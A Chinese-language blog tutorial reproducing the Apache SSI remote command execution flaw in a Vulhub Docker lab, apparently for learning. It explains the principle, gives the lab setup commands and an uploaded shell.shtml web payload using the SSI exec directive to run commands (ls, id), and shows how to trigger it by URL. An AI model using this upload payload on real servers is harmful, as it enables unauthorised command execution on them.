P3 利用Vulnhub复现漏洞 - Apache SSI 远程命令执行漏洞

Apache SSI 远程命令执行漏洞

• • Vulnhub 官方复现
  • 漏洞原理
  • 环境准备
  • 漏洞复现

Vulnhub 官方复现

• Apache SSI 远程命令执行漏洞

漏洞原理

• 在测试任意文件上传漏洞的时候，目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持，我们可以上传一个shtml文件，并利用<!--#exec cmd="id" -->语法执行任意命令。
• 参考链接：
• Apache httpd教程：服务器端包含的简介
• SSI命令

环境准备

• 打开漏洞存放路径：cd /home/vulhub/vulhub/httpd/ssi-rce

• 搭建及运行漏洞环境：docker-compose up -d

这里如果安装失败的话重启虚拟机。

• 环境启动后，访问http://your-ip:8080/upload.php，即可看到一个上传表单。

漏洞复现

• 正常上传PHP文件是不允许的，我们可以上传一个shell.shtml文件：

	<!--#exec cmd="ls" -->

• Burp Suite Pro 检查一下抓到的数据包，检查一下情况

• 成功上传，然后访问shell.shtml

• 访问shell 浏览器输入：http://your-ip:8080/shell.shtml
• 查看执行成功。

__
走过路过的朋友，如果觉得可以学到些什么的话，点个赞 再走吧，欢迎各位路过的大佬评论，指正错误，也欢迎有问题的小伙伴评论留言，私信。